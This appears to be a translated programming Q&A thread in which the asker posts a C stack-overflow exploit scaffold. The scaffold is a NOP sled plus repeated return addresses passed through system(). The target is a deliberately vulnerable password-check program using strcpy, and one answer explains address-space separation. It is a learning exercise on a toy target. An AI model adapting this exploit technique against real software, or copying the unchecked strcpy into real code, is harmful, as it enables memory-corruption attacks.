如何从子进程访问父进程的地址空间?

时间:2016-06-19 08:45:03

标签: c process buffer-overflow

我正在通过C库函数B从另一个程序A的主函数执行程序system()。但是当我将A的地址作为参数传递给B以通过缓冲区溢出替换进程B中的返回地址时,它显示了分段错误。

我知道每个进程都无法访问另一个进程的地址空间。但有什么办法可以缓冲溢出子进程,以便执行返回到父进程?我正在使用x64位机器和gcc与-m32-fno-stack-protector选项。

这是我执行另一个程序B的程序A:

int main(int argc, char *argv[]) {
   unsigned int i, ret, offset=270;
   char *command, *buffer;

   command = (char *) malloc(200);
   bzero(command, 200); // zero out the new memory

   strcpy(command, "./child \'"); // start command buffer
   buffer = command + strlen(command); // set buffer at the end

   if(argc > 1) // set offset
      offset = atoi(argv[1]);

   ret = (unsigned int) &i - offset; // set return address

   for(i=0; i < 160; i+=4) // fill buffer with return address
      *((unsigned int *)(buffer+i)) = ret;
   memset(buffer, 0x90, 60); // add NOP instructions

   strcat(command, "\'");

   system(command); // run another program
   free(command);
}

这是另一个易受缓冲区溢出影响的程序B

int testAuthenetication(char *password){
    int value = 0;
    char buffer[8];

    strcpy(buffer, password);

    if(strcmp(buffer, "abcd") == 0){
        value = 1;
    }
    if(strcmp(buffer, "abcdef") == 0){
        value = 1;
    }

    return value;
}

int main(int argc, char *argv[]){
    if(argc < 2){
        printf("Enter the password \n");
        return 0;
    }

    if(testAuthenetication(argv[1])){
        printf("Access Granted \n");    
    }
    else{   
        printf("Access denied \n");
    }
    return 0;
}

1 个答案:

答案 0 :(得分:1)

“以便执行返回到父进程”:我不知道这是怎么回事。父进程的指令位于另一个内存空间(内核通过CR3选择的不同页表),因此如果您尝试从子进程跳转到父进程的地址,那么将会有垃圾/无效页面。

我建议您更清楚地说明上下文/结束目标:您是否尝试从溢出中执行任意代码执行?而B是易受攻击的程序,而A是漏洞利用代码?

如果是这种情况,请尝试将任意代码写入子进程的内存的可执行部分,然后使用溢出来跳转到子进程本身。我不确定这是否有效。

这个X的Y在How are buffer overflows used to exploit computers?处不太准确地被问到(但目前的答案并不是最小的例子)。